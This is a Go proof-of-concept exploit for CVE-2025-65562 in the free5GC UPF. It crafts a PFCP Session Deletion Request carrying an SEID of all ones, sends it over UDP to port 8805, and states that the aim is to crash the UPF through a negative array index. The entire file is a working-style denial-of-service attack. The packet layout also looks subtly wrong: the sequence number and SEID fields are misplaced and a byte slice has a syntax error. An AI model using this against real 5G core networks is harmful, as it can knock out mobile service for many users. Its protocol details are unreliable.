// CVE-2025-65562 PoC - free5GC UPF SEID Integer Underflow
// This PoC sends a PFCP Session Deletion Request with a malicious large SEID
package main
import (
"encoding/binary"
"fmt"
"net"
)
// PFCP Header Structure
type PFCPHeader struct {
Version uint8
Flag uint8
MessageType uint8
MessageLength uint16
SequenceNumber uint32
Seid uint64
}
func createPFCPHeader(msgType uint8, seid uint64, seqNum uint32) []byte {
header := make([]byte, 16)
// Version (3 bits) + Flags (5 bits)
header[0] = 0x20 // Version 1
header[1] = msgType
// Message Length (will be set later)
binary.BigEndian.PutUint16(header[2:4], 0x0000)
// Sequence Number (3 bytes)
binary.BigEndian.PutUint32(header[4:8], seqNum)
// SEID
binary.BigEndian.PutUint64(header[8:16], seid)
return header
}
func createSessionDeletionRequest(seid uint64) []byte {
// Create PFCP Session Deletion Request header
header := createPFCPHeader(0x1D, seid, 0x000001)
// Add IE (Information Element) - Cause
ie := []byte{
0x00, 0x02, // IE Type: Cause
0x00, 0x05, // IE Length
0x00, // Spare
0x10, // Cause: Delete (request to delete session)
0x00, 0x00, 0x00 // Spare
}
message := append(header, ie...)
// Update message length
binary.BigEndian.PutUint16(message[2:4], uint16(len(message)-4))
return message
}
func main() {
fmt.Println("CVE-2025-65562 PoC - free5GC UPF SEID Integer Underflow")
fmt.Println("Target: free5GC UPF PFCP endpoint (usually port 8805)")
// Malicious SEID that causes integer underflow
// 0xFFFFFFFFFFFFFFFF will be converted to -1 when cast to int
maliciousSeid := uint64(0xFFFFFFFFFFFFFFFF)
fmt.Printf("Using malicious SEID: 0x%016X\n", maliciousSeid)
fmt.Printf("This SEID will underflow to index: %d\n", int(maliciousSeid))
// Create the malicious packet
packet := createSessionDeletionRequest(maliciousSeid)
fmt.Printf("Sending %d bytes to target...\n", len(packet))
// Connect to UPF (adjust target IP/port as needed)
conn, err := net.DialUDP("udp", nil, &net.UDPAddr{
IP: net.ParseIP("127.0.0.1"),
Port: 8805,
})
if err != nil {
fmt.Printf("Connection error: %v\n", err)
return
}
defer conn.Close()
// Send the malicious packet
_, err = conn.Write(packet)
if err != nil {
fmt.Printf("Send error: %v\n", err)
return
}
fmt.Println("Malicious packet sent successfully!")
fmt.Println("Expected result: UPF panic and crash due to negative array index")
}